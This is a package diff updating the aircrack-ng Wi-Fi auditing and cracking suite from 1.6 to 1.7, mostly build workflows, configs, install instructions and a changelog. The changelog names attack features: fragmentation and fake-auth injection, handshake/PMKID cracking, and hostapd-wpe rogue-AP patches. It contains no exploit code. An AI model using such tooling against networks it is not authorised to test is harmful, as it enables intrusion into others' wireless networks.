+            $hashFromFile | Format-List
+            Break
+          }
+
+      - name: Decompress AirPcap sources
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "7z -y x AirPcap_Devpack_4_1_1_1838.zip"
+
+      - name: Generating AirPcap 64-bit linker files
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cp -vf Airpcap_Devpack/bin/x64/airpcap.dll /cygdrive/c/Windows/System"
+          C:\tools\cygwin\bin\bash.exe -e -l -c "dlltool -D Airpcap_Devpack/bin/x64/airpcap.dll -d build/airpcap.dll.def -l Airpcap_Devpack/bin/x64/libairpcap.dll.a"
+
+      - name: Build 64-bit w/o AirPcap
+        env:
+          CFLAGS: "-O3 -mtune=opteron -DNDEBUG"
+          LDFLAGS: "-Wl,--enable-auto-image-base"
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          echo @"
+            CPUS=`$((`$(grep -c processor /proc/cpuinfo) * 3 / 2))
+            export PATH="/usr/lib/ccache:`$PATH"
+            export CC="ccache gcc"
+            export CXX="ccache g++"
+            echo "::group::make distclean"
+            make distclean || :
+            echo "::endgroup::"
+            echo "::group::autoreconf"
+            autoreconf -vi
+            echo "::endgroup::"
+            echo "::group::configure"
+            mkdir 64bit-no-airpcap
+            cd 64bit-no-airpcap
+            ../configure --host=x86_64-pc-cygwin --target=x86_64-pc-cygwin --without-opt --with-experimental --enable-win32-portable --enable-maintainer-mode
+            echo "::endgroup::"
+            echo "::group::build"
+            make -j `${CPUS}
+            echo "::endgroup::"
+            echo "::group::run tests"
+            make -j `${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+            echo "::endgroup::"
+            cd ..
+          "@ | & $bash --login -o errexit -o nounset -o pipefail -o igncr
+        shell: pwsh
+
+      - name: Build 64-bit w/AirPcap
+        env:
+          CFLAGS: "-O3 -mtune=opteron -DNDEBUG"
+          LDFLAGS: "-Wl,--enable-auto-image-base"
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          echo @"
+            CPUS=`$((`$(grep -c processor /proc/cpuinfo) * 3 / 2))
+            export PATH="/usr/lib/ccache:`$PATH"
+            export CC="ccache gcc"
+            export CXX="ccache g++"
+            echo "::group::make distclean"
+            make distclean || :
+            echo "::endgroup::"
+            echo "::group::autoreconf"
+            autoreconf -vi
+            echo "::endgroup::"
+            echo "::group::configure"
+            mkdir 64bit
+            cd 64bit
+            ../configure --host=x86_64-pc-cygwin --target=x86_64-pc-cygwin --without-opt --with-experimental --enable-win32-portable --enable-maintainer-mode --with-airpcap=${{ steps.cygwin.outputs.unix_path }}
+            echo "::endgroup::"
+            echo "::group::build"
+            make -j `${CPUS}
+            echo "::endgroup::"
+            echo "::group::run tests"
+            make -j `${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+            echo "::endgroup::"
+            echo "::group::gather packaging components"
+            echo '>> Removing symbolic links that break Windows zip/tar'
+            find . -type l -print -delete
+            echo '>> Create deployment folder'
+            mkdir -p dist/bin/64bit
+            echo '>> Resolving run-time items for deployment'
+            find . -path "*/.libs" -print0 | xargs -0I  -n 1 find  $ -name "*.exe" -o -name "*.dll" $ -exec cp -p {} "dist/bin/64bit" ';'
+            # AirPcap DLLs
+            cp -vfp "../Airpcap_Devpack/bin/x64/airpcap.dll" "dist/bin/64bit"
+            # Cygwin License
+            cp -vfp /usr/share/doc/Cygwin/CYGWIN_LICENSE "dist/LICENSE.Cygwin"
+            # gather dependencies of Cygwin
+            FILES="cygcrypto-1.1.dll cyghwloc-15.dll cyggcc_s-1.dll cyggcc_s-seh-1.dll cygpcre-1.dll cygsqlite3-0.dll cygstdc++-6.dll cygwin1.dll cygz.dll cygxml2-2.dll cyglzma-5.dll cygiconv-2.dll"
+            for FILE in `$FILES; do
+              cp -vfp "/cygdrive/c/tools/cygwin/bin/`$FILE" "dist/bin/64bit" || :
+            done
+            echo "::endgroup::"
+            cd ..
+          "@ | & $bash --login -o errexit -o nounset -o pipefail -o igncr
+        shell: pwsh
+
+      - name: Ccache stats after builds
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "ccache -s"
+
+      - name: Archive 64-bit artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: 64bit
+          path: |
+            64bit
+            !64bit/**/*.a
+            !64bit/**/*.la
+            !64bit/**/*.lib
+            !64bit/**/*.o
+            !64bit/**/*.lo
+            !64bit/**/*.obj
+
+  gui:
+    runs-on: windows-2022
+
+    steps:
+      - run: git config --global core.autocrlf input
+      - run: git config --global core.eol lf
+
+      - uses: actions/checkout@v2
+
+      - name: Checkout GUI source code
+        shell: pwsh
+        run: |
+          git clone --no-checkout --depth 1 --single-branch --branch Windows https://github.com/aircrack-ng/aircrack-ng.git gui
+          Push-Location gui
+          git reset --hard
+          Pop-Location
+
+      - name: Add msbuild to PATH
+        uses: microsoft/setup-msbuild@v1.0.2
+
+      - name: Build
+        shell: pwsh
+        run: |
+          Push-Location gui/GUI
+          msbuild Aircrack-ng.sln /p:Configuration=Release /p:Platform="Any CPU"
+          Pop-Location
+
+      - name: Archive GUI artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: gui
+          path: |
+            gui
+            !gui/**/.git*
+            !gui/**/obj
+
+  package:
+    runs-on: windows-latest
+    needs: cygwin_32bit, cygwin_64bit, gui
+
+    steps:
+      - run: git config --global core.autocrlf input
+      - run: git config --global core.eol lf
+
+      - uses: actions/checkout@v2
+
+      - name: Set up Cygwin
+        uses: egor-tensin/setup-cygwin@v3
+        with:
+          platform: x86
+          install-dir: C:\tools\cygwin
+          hardlinks: 1
+          packages: >-
+            git unzip zip rsync
+
+      - name: Create home dir
+        run: |
+          C:\tools\cygwin\bin\bash.exe --login -c 'env'
+
+      - name: Find Cygwin path to workspace
+        id: cygwin
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          $unix_path = (& $bash --login -e -c "cygpath '${env:GITHUB_WORKSPACE}'")
+          Write-Host "::set-output name=unix_path::${unix_path}"
+
+      - name: Download Cygwin 32-bit artifacts
+        uses: actions/download-artifact@v2
+        with:
+          name: 32bit
+          path: 32bit
+
+      - name: Download Cygwin 64-bit artifacts
+        uses: actions/download-artifact@v2
+        with:
+          name: 64bit
+          path: 64bit
+
+      - name: Download GUI artifacts
+        uses: actions/download-artifact@v2
+        with:
+          name: gui
+          path: gui
+
+      - name: Creating a package archive
+        shell: pwsh
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          $REV = (& $bash -e -l -c "./evalrev")
+          $env:DIST = "aircrack-ng-$REV-win"
+          & $bash -e -l -c "git archive --format=tar --prefix=`"$env:DIST/`" HEAD | /bin/tar xf -"
+          if ($LASTEXITCODE -ne 0) {
+            Write-Host -ForegroundColor Red "Failed to create pristine sources!"
+            Break
+          }
+          echo @"
+            mkdir -p "$env:DIST/bin"
+            mkdir -p "$env:DIST/bin/32bit"
+            mkdir -p "$env:DIST/bin/64bit"
+
+            cp -pr "gui/GUI/Aircrack-ng/bin/Release/Aircrack-ng GUI.exe" $env:DIST/bin || ls -laR
+            rm -fr "gui/GUI/Aircrack-ng/bin" "gui/GUI/Aircrack-ng/obj"
+            rsync -a gui/ "$env:DIST/src"
+            rsync -a 32bit/dist/ "$env:DIST"
+            rsync -a 64bit/dist/ "$env:DIST"
+
+            find "$env:DIST" -name "test-*.exe" -print -delete
+            rm -fr "$env:DIST/src/.git" "$env:DIST/.gitignore" "$env:DIST/appveyor.yml" "$env:DIST/.travis.yml" "$env:DIST/README.md" "$env:DIST/.github" "$env:DIST/patches" "$env:DIST/apparmor"
+            zip -o -v -9 -r "$env:DIST.zip" "$env:DIST"
+            ( cat README; echo; echo . ) | zip -z "$env:DIST.zip"
+            exit 0
+          "@ | & $bash --login -o errexit -o nounset -o pipefail -o igncr
+
+      - name: Save package artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: release-windows
+          path: |
+            aircrack-ng-*-win.zip

aircrack-ng-1.7.tar.gz/.gitignore Added

@@ -0,0 +1,124 @@
+/*-ng
+/besside-ng-crawler
+/ivstools
+/kstats
+/wpaclean
+src/osdep/.os.Linux
+src/osdep/libosdep.a
+src/tags
+tags
+*.a
+*.so
+*.dll
+*.o
+*.exe
+*.log
+*.trs
+*.zip
+*.tar.*
+common.cfg
+Makefile.in
+aclocal.m4
+autom4te.cache/
+compile
+/config.h
+/config.h.in
+config.guess
+config.log
+config.status
+config.sub
+configure
+install-sh
+libtool
+ltmain.sh
+missing
+reautogen.sh
+src/Makefile.in
+*.lo
+.deps
+.libs
+.dirstamp
+/depcomp
+/aminclude_static.am
+/stamp-h1
+*.la
+*.gcda
+*.gcno
+*.orig
+/test-driver
+/**/*-coverage.info
+/**/*-coverage
+/**/*.log
+/**/*.trs
+/scripts/airdrop-ng/build
+/scripts/airgraph-ng/build
+/test-calc-4pmk
+/test-calc-mic
+/test-calc-pmk
+/test-calc-ptk
+/test-decrypt-ccmp
+/test-encrypt-ccmp
+/test-encrypt-wep
+/test-hex_string_to_array
+/build/m4/stubs/*
+!/build/m4/stubs/.gitkeep
+/test/test-env.sh
+/.idea
+/.clang_complete
+CMakeLists.txt
+/cmake-build-*
+*.gcda
+*.gcno
+Makefile
+!/contrib/commview/Makefile
+!/contrib/airpcap/Makefile
+!/contrib/peek/Makefile
+!/scripts/airgraph-ng/lib/Makefile
+/scripts/airmon-ng
+/benchmark.csv
+/.cccc
+/cccc.opt
+/.scannerwork
+/.bash_history
+/.cproject
+/.lesshst
+/.project
+/.rpmdb
+/.settings
+benchmark*.csv
+/bw-output
+compile_commands.json
+coverage*.info
+/test/cryptounittest/default.profraw
+/test-calc-one-pmk
+/test-string-has-suffix
+/test-wpapsk
+/test-wpapsk-cmac
+/test-circular-buffer
+/test-circular-queue
+/GPATH
+/GRTAGS
+/GSYMS
+/GTAGS
+/VERSION
+/AC_VERSION
+/aminclude_static.am
+/config.h
+/config.h.in
+/include/aircrack-ng/version.h
+/manpages/*.1
+/manpages/*.8
+/.ccls-cache
+/.cache
+/.gdb_history
+/cscope*
+/strace_out
+/.clangd
+/r*hs
+/r*hs-bad
+/r*tr
+/r*tr-bad
+*~
+*.pidb
+/.vscode/settings.json
+/infer-out/

aircrack-ng-1.7.tar.gz/.pre-commit-config.yaml Added

@@ -0,0 +1,37 @@
+---
+# See https://pre-commit.com for more information
+# See https://pre-commit.com/hooks.html for more hooks
+exclude: >
+  (?x)^(
+      .github/|AUTHORS|ChangeLog|INSTALLING|LICENSE|README|
+      appveyor.yml|build/airpcap.dll.def|contrib/|lib/csharp|
+      lib/radiotap|include/aircrack-ng/third-party|patches/|
+      test/|scripts/|manpages/|apparmor/
+  )
+
+fail_fast: false
+
+repos:
+  - repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.0.1
+    hooks:
+      - id: trailing-whitespace
+        exclude_types: asm
+      - id: check-added-large-files
+      - id: mixed-line-ending
+        exclude_types: asm
+      - id: check-byte-order-marker
+      - id: check-executables-have-shebangs
+      - id: check-merge-conflict
+
+  - repo: https://github.com/pocc/pre-commit-hooks
+    rev: v1.3.5
+    hooks:
+      - id: clang-format
+        args: "--version=3.8", "--style=file", "-i"
+
+  - repo: https://github.com/shellcheck-py/shellcheck-py
+    rev: v0.7.2.1
+    hooks:
+      - id: shellcheck
+        files: 'test/|scripts/|build/'

aircrack-ng-1.7.tar.gz/.vscode Added

aircrack-ng-1.7.tar.gz/.vscode/c_cpp_properties.json Added

aircrack-ng-1.7.tar.gz/.vscode/launch.json Added

aircrack-ng-1.7.tar.gz/.vscode/tasks.json Added

@@ -0,0 +1,59 @@
+{
+	// See https://go.microsoft.com/fwlink/?LinkId=733558
+	// for the documentation about the tasks.json format
+	"version": "2.0.0",
+	"tasks": 
+		{
+			"label": "Build Incremental",
+			"type": "shell",
+			"command": "make -j6 && make -j6 check",
+			"group": {
+				"kind": "build",
+				"isDefault": true
+			},
+			"problemMatcher": "$gcc",
+			"promptOnClose": false,
+			"presentation": {
+				"echo": true,
+				"reveal": "silent",
+				"focus": false,
+				"panel": "dedicated",
+				"showReuseMessage": false,
+				"clear": false
+			}
+		},{
+			"label": "Build Full",
+			"type": "shell",
+			"command": "autoreconf -vif && env CC=clang-10 CXX=clang++-10 CPP=clang-cpp-10 CFLAGS=\"-Og -g\" CXXFLAGS=\"-Og -g\" ./configure --enable-maintainer-mode --with-experimental --without-opt && bear make -j6 && bear -a make -j6 check",
+			"group": "build",
+			"problemMatcher": "$gcc",
+			"promptOnClose": false,
+			"presentation": {
+				"echo": true,
+				"reveal": "always",
+				"focus": true,
+				"panel": "dedicated",
+				"showReuseMessage": false,
+				"clear": true
+			}
+		},{
+			"label": "Test",
+			"type": "shell",
+			"command": "make -j6 check",
+			"group":{
+				"kind": "test",
+				"isDefault": true
+			},
+			"problemMatcher": "$gcc",
+			"promptOnClose": false,
+			"presentation": {
+				"echo": true,
+				"reveal": "silent",
+				"focus": false,
+				"panel": "dedicated",
+				"showReuseMessage": false,
+				"clear": false
+			}
+		}
+	
+}
\ No newline at end of file

aircrack-ng-1.7.tar.gz/AC_VERSION.in Changed

aircrack-ng-1.6.tar.gz/AUTHORS -> aircrack-ng-1.7.tar.gz/AUTHORS Changed

aircrack-ng-1.6.tar.gz/ChangeLog -> aircrack-ng-1.7.tar.gz/ChangeLog Changed

@@ -1,4 +1,84 @@
-Version 1.6 (changes from aircrack-ng 1.5.2) - Released XX Jan 2020:
+Version 1.7 (changes from aircrack-ng 1.6) - Released 10 May 2022:
+* Airdecap-ng: Endianness fixes
+* Airdecap-ng: Output PCAP as little endian
+* Airodump-ng: Fixed blank encryption field when APs have TKIP (and/or CCMP) with WPA2
+* Airodump-ng: Updated encryption filter (-t/--encrypt) for WPA3 and OWE
+* Airodump-ng: Fixed out-of-order timestamp captures
+* Airodump-ng: Ignore NULL PMKID
+* Airodump-ng: Fixed dropping management frames with zeroed timestamp
+* Airodump-ng: Fixed sorting where sometimes it started with a different field
+* Airodump-ng: Allow setting colors only in AP selection mode
+* Airodump-ng: Fix crash on 4K Linux console
+* Airodump-ng: Fixed issue where existing clients not linked to an AP become hidden when hitting 'o'
+* Airodump-ng: Allow use of WiFi 6E 6GHz frequencies
+* Airodump-ng: Look for oui.txt in /usr/share/hwdata
+* Airgraph-ng: Fixed graphviz package conflict
+* Airgraph-ng: Fixed downloading OUI with python3
+* Airgraph-ng: Ensure support/ directory is created when installing
+* Aircrack-ng: Fixed static compilation
+* Aircrack-ng: Fix handshake replay counter logic
+* Aircrack-ng: Handle timeout when parsing EAPOL
+* Aircrack-ng: Fixed WEP display
+* Aircrack-ng: Fixed spurious EXIT messages
+* Aircrack-ng: Improved handshake selection by fixing EAPOL timing and clearing state
+* Aircrack-ng: Ignore NULL PMKID
+* Aircrack-ng: Added Apple M1 detection
+* Aireplay-ng: In test mode, detect tampering of sequence number by firmware/driver
+* Aireplay-ng: Fixed incorrectly rewritten loops affecting fragmentation attack, and in some cases, SKA fake auth
+* Aireplay-ng: Fixed a bunch of instances where packets had their duration updated instead of the sequence number
+* Airmon-ng: Fix avahi killing
+* Airmon-ng: rewrite service stopping entirely
+* Airmon-ng: Codestyle fixes and code cleanup
+* Airmon-ng: Added a few Raspberry Pi hardware revisions
+* Airmon-ng: Fixes for 8812au driver
+* Airmon-ng: Fix iwlwifi firmware formatting
+* Airmon-ng: Remove broken KVM detection
+* Airmon-ng: Show regdomain in verbose mode
+* Airmon-ng: Updated Raspberry Pi hardware revisions
+* Airmon-ng: Document frequency usage
+* Airmon-ng: Add a sleep to help predictable names due to udev sometimes renaming interface
+* Airmon-ng: Added warning for broken radiotap headers in kernel 5.15 to 5.15.4
+* Airmon-ng: shellcheck fixes
+* Airmon-ng: support systemctl as some systems don't support 'service' anymore
+* Airmon-ng: Fixes for pciutils 3.8, backward compatible
+* Airbase-ng: use enum for frame type/subtype
+* Airbase-ng: remove a few IE in association responses
+* Besside-ng: Support and detect all channels in 5GHz in Auto-Channel mode
+* OSdep: Search additional IE for channel information
+* OSdep: Android macro fixes
+* Patches: Add missing patches that were on https://patches.aircrack-ng.org but not in repo
+* Patches: Updated freeradius-wpe patch for v3.2.0
+* Patches: Updated hostapd-wpe patch for v2.10
+* Patches: Added docker containers to test WPE patches
+* Autotools: make dist now creates VERSION file
+* Autotools: Added maintainer mode
+* Autotools: Initial support for Link Time Optimization (LTO) builds 
+* Integration tests: Added a new test, and improved some existing ones
+* Airgraph-ng: switch airodump-join to Python 3
+* Manpages: Fixes (typos, tools name, etc.) and improvements
+* README: Updated dependencies and their installation on various distros in README.md and INSTALLING
+* README: Fixed typos and spelling in README.md and INSTALLING
+* Packages: Packages on PackageCloud now support any distro using .deb and .rpm, however, it requires reinstalling repo (BREAKING CHANGE)
+* General: Fix compilation with LibreSSL 3.5
+* General: Fix issues reported by Infer
+* General: Updated buildbots
+* General: Add Linux uclibc support
+* General: Compilation fixes on macOS with the Apple M1 CPU
+* General: Removed TravisCI and AppVeyor
+* General: Use Github Actions for CI (Linux, Win, macOS, code style, and PVS-Studio)
+* General: Added vscode devcontainer and documentation
+* General: Fix warnings from PVS-Studio and build with pedantic (See PR2174)
+* General: Shell script fixes thanks to shellcheck
+* General: Fixes for GCC 10 and 11
+* General: Fixed cross-compilation
+* General: Code refactoring, deduplication, cleanup, and misc code improvements
+* General: Coverity Scan fixes, which includes memory leaks, race conditions, division by 0, and other issues
+* General: PVS Studio improvements,fixes and updates
+* General: Code formatting/style fixes
+* General: Various fixes and improvements (code, CI, integration tests, coverity)
+* General: Update bug reporting template and update the process
+
+Version 1.6 (changes from aircrack-ng 1.5.2) - Released 25 Jan 2020:
 * Aircrack-ng: Added support for MidnightBSD
 * Aircrack-ng: Fixed ARM processors display with -u
 * Aircrack-ng: Fixed AVX-512F support

aircrack-ng-1.6.tar.gz/INSTALLING -> aircrack-ng-1.7.tar.gz/INSTALLING Changed

@@ -7,29 +7,32 @@
  * Libtool
  * shtool
  * OpenSSL development package or libgcrypt development package.
- * Airmon-ng (Linux) requires ethtool.
- * On windows, cygwin has to be used and it also requires w32api package.
+ * Airmon-ng (Linux) requires ethtool, usbutils, and often pciutils.
+ * On Windows, cygwin has to be used and it also requires w32api package.
  * On Windows, if using clang, libiconv and libiconv-devel
  * Linux: LibNetlink 1 or 3. It can be disabled by passing --disable-libnl to configure.
  * pkg-config (pkgconf on FreeBSD)
- * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake
+ * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with Macports: gmake
  * Linux/Cygwin: make and Standard C++ Library development package (Debian: libstdc++-dev)
 
+Note: Airmon-ng only requires pciutils if the system has a PCI/PCIe bus and it is populated. 
+      Such bus can be present even if not physically visible. For example, it is present,
+      and populated on the Raspberry Pi 4, therefore pciutils is required on that device.
+
 === Optional stuff ===
 
  * If you want SSID filtering with regular expression in airodump-ng
-   (-essid-regex) pcre development package is required.
+   (-essid-regex) PCRE development package is required.
  * If you want to use airolib-ng and '-r' option in aircrack-ng,
    SQLite development package >= 3.3.17 (3.6.X version or better is recommended)
  * If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
  * In order to build besside-ng, besside-ng-crawler, easside-ng, tkiptun-ng and wesside-ng,
-   libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
- * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc9
+   libpcap development package is required (on Cygwin, use the Airpcap SDK instead; see above)
  * rfkill
  * If you want Airodump-ng to log GPS coordinates, gpsd is needed
  * For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
  * CMocka for unit testing
- * For intergation testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
+ * For integration testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
 
 === Installing required and optional dependencies ===
 
@@ -40,19 +43,37 @@
 
 ==== Linux ====
 
+===== Arch Linux =====
+
+    `sudo pacman -Sy base-devel libnl openssl ethtool util-linux zlib libpcap sqlite pcre hwloc cmocka hostapd wpa_supplicant tcpdump screen iw usbutils pciutils`
+
 ===== Debian/Ubuntu =====
 
     `sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils`
 
-===== Fedora/CentOS/RHEL =====
+==== Fedora ====
+ 
+    `sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel`
+ 
+==== CentOS/RHEL 7 ====
+
+    `sudo yum install epel-release`
+    `sudo ./centos_autotools.sh`
+    # Remove older installation of automake/autoconf
+    `sudo yum remove autoconf automake`
+    `sudo yum install sqlite-devel openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel`
+
+Note: autoconf, automake, libtool, and pkgconfig in the repositories are too old. The script centos_autotools.sh automatically installs dependencies to compile then install the tools.
 
-    `sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel git make file expect hostapd wpa_supplicant iw usbutils tcpdump screen`
+==== CentOS/RHEL 8 ====
 
-Note: on CentOS and RedHat, HostAPd requires 'epel' repository to be enabled: sudo yum install epel-release
+    `sudo yum config-manager --set-enabled powertools`
+    `sudo yum install epel-release`
+    `sudo yum install git libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel`
 
 ===== openSUSE =====
 
-    `sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc`
+    `sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc ethtool pciutils usbutils`
 
 ===== Mageia =====
 
@@ -60,7 +81,15 @@
 
 ===== Alpine =====
 
-    `sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev`
+    `sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev pciutils usbutils`
+
+Note: Community repository needs to be enabled for iw
+
+==== Clear Linux ====
+
+    `sudo swupd bundle-add c-basic devpkg-openssl devpkg-libnl devpkg-hwloc devpkg-libpcap devpkg-pcre devpkg-sqlite-autoconf ethtool wget network-basic software-testing sysadmin-basic wpa_supplicant`
+
+Note: hostapd must be compiled manually, it is not present in the repository
 
 ==== BSD ====
 
@@ -76,7 +105,7 @@
 
     `pkg_add pkgconf shtool libtool gcc automake autoconf pcre sqlite3 openssl gmake cmocka`
 
-==== OSX ====
+==== macOS ====
 
 XCode, Xcode command line tools and HomeBrew are required.
 
@@ -195,6 +224,10 @@
                     is to compile the generic optimization in the binary. --with-static-simd merely allows
                     to choose another one.
 
+* --enable-maintainer-mode: It is important to enable this flag when
+                            developing with Aircrack-ng. This flag enables
+                            additional compile warnings and safety features.
+
 ===== Examples =====
 
   * Configure and compiling:
@@ -232,6 +265,13 @@
     `./configure --with-experimental`
     `gmake`
 
+  * Compiling on macOS running on M1/AARCH64 and Homebrew:
+
+    `autoreconf -vif`
+    `env CPPFLAGS="-Wno-deprecated-declarations" ./configure --with-experimental`
+    `make`
+    `make check`
+
   * Compiling on OS X 10.10 with XCode 7.1 and Homebrew:
 
     `env CC=gcc-4.9 CXX=g++-4.9 ./configure`
@@ -295,11 +335,51 @@
    ```
    export CFLAGS='-O0 -g'
    export CXXFLAGS='-O0 -g'
-   ./configure
+   ./configure --with-experimental --enable-maintainer-mode --without-opt
    make
    LD_LIBRARY_PATH=.libs gdb --args ./aircrack-ng PARAMETERS
    ```
 
+== IDE development ==
+
+=== VS Code - devcontainers ===
+
+A VS Code development environment is provided, as is, for rapid setup of a development environment. This additionally adds support for GitHub Codespaces.
+
+==== Requirements ====
+
+The first requirement is a working Docker Engine (https://docs.docker.com/engine/install/) environment.
+
+Next, an installation of VS Code (https://code.visualstudio.com/) with the following extension(s):
+
+- Remote - Containers: https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers by Microsoft.
+
+Note: The "Remote - Containers" extension will refuse to work with OSS Code.
+
+==== Usage ====
+
+1. Clone this repository to your working folder:
+
+  ```
+  $ git clone --recursive https://github.com/aircrack-ng/aircrack-ng.git
+  $ cd aircrack-ng
+  ```
+
+2. After cloning this repository, open the folder inside VS Code.
+
+  ```
+  $ code .
+  ```
+
+IMPORTANT: You should answer "Yes", if it asks if the folder should be opened inside a remote container. If it does not ask, then press `Ctrl+Shift+P` and type `open in container`. This should bring up the correct command, for which pressing enter will run said command.
+
+3. A number of warnings might appear about a missing `compile_commands.json` file. These are safe to ignore for a moment, as this file is automatically generated after the initial compilation.
+4. Now build the entire project by pressing `Ctrl+R` and selecting `Build Full` from the pop-up menu that appears.
+5. VS Code should detect the `compile_commands.json` file and ask if it should be used; selecting "Yes, always" will complete the initial setup of a fully working IDE.
+   IMPORTANT: If it doesn't detect the file, pressing `Ctrl+Shift+P` and typing `reload window` will bring up the selection to fully reload the environment.
+6. At this point, nearly all features of VS Code will function; from Intellisense, auto-completion, live documentation, to code formatting. Additionally, there are pre-configured tasks for builds and tests, as well as an example GDB/LLDB configuration for debugging `aircrack-ng`.
+
+
 == Packaging ==
 
 Automatic detection of CPU optimization is done at run time. This behavior
@@ -311,41 +391,57 @@
 
 `./configure --without-opt`
 
-== Using precompiled binaries ==
+== Using pre-compiled binaries ==
 
 === Linux/BSD ===
 
-* Use your package manager to download aircrack-ng
-* In most cases, they have an old version.
-* Packages (DEB and RPM) built from current git master are available on PackageCloud: https://packagecloud.io/aircrack-ng/git
+Aircrack-ng is available in most distributions repositories. However, it is not always up to date.
+
+We provide up to date versions via PackageCloud for a number of distributions:
+
+- development (each commit in this repo): https://packagecloud.io/aircrack-ng/git
+- stable releases: https://packagecloud.io/aircrack-ng/release
 
 === Windows ===
 
- * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data).
- * aircrack-ng suite is command line tools. So, you have to open a commandline
+ * Install the appropriate "monitor" driver for your card; standard drivers don't work for capturing data.
+ * Aircrack-ng suite is command line tools. So, you have to open a command-line
    `Start menu -> Run... -> cmd.exe` then use them
  * Run the executables without any parameters to have help
 
-== Continous integration ==
+== Continuous integration ==
 
-Travis (Linux/Mac): https://travis-ci.org/aircrack-ng/aircrack-ng
-AppVeyor: https://ci.appveyor.com/project/aircrack-ng/aircrack-ng
-Coverity Scan: https://scan.coverity.com/projects/aircrack-ng
+- Linux CI (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/linux.yml
+- Windows CI (Github actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/windows.yml
+- macOS CI (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/macos.yml
+- Code style and consistency (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/style.yml
+- PVS-Studio static analysis (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/pvs-studio.yml
+- Coverity Scan static analysis: https://scan.coverity.com/projects/aircrack-ng
 
 === Buildbots ===
 
 URL: https://buildbot.aircrack-ng.org/
 
-Current buildbots:
-- Intel Compiler
-- Alpine Linux
+Linux buildbots:
+- CentOS
+- AArch64
 - Kali Linux
 - Armel Kali Linux
 - Armhf Kali Linux
+- Alpine Linux
+
+BSD buildbots:
+- OpenBSD
 - FreeBSD
+- NetBSD
+- DragonflyBSD
 
 == Documentation ==
 
-Documentation, tutorials, ... can be found on https://www.aircrack-ng.org
+Some more information is present in the README file.
+
+Documentation, tutorials, ... can be found on https://aircrack-ng.org
+
+Support is available in the forum (https://forum.aircrack-ng.org) and on IRC (in #aircrack-ng on Libera Chat).
 
-See also manpages and the forum.
+Every tool has its own manpage. For aircrack-ng, `man aircrack-ng`

aircrack-ng-1.6.tar.gz/Makefile.am -> aircrack-ng-1.7.tar.gz/Makefile.am Changed

aircrack-ng-1.6.tar.gz/README.md -> aircrack-ng-1.7.tar.gz/README.md Changed

@@ -1,8 +1,5 @@
 # Aircrack-ng
 
-!Linux/Mac Build Status(https://travis-ci.org/aircrack-ng/aircrack-ng.svg?branch=master)(https://travis-ci.org/aircrack-ng/aircrack-ng)
-!Windows Build Status(https://ci.appveyor.com/api/projects/status/github/aircrack-ng/aircrack-ng?branch=master&svg=true)(https://ci.appveyor.com/project/aircrack-ng/aircrack-ng)
-!Intel Compiler Build Status(https://buildbot.aircrack-ng.org/badges/aircrack-ng.svg?left_text=Intel%20Compiler%20Build)(https://buildbot.aircrack-ng.org/)
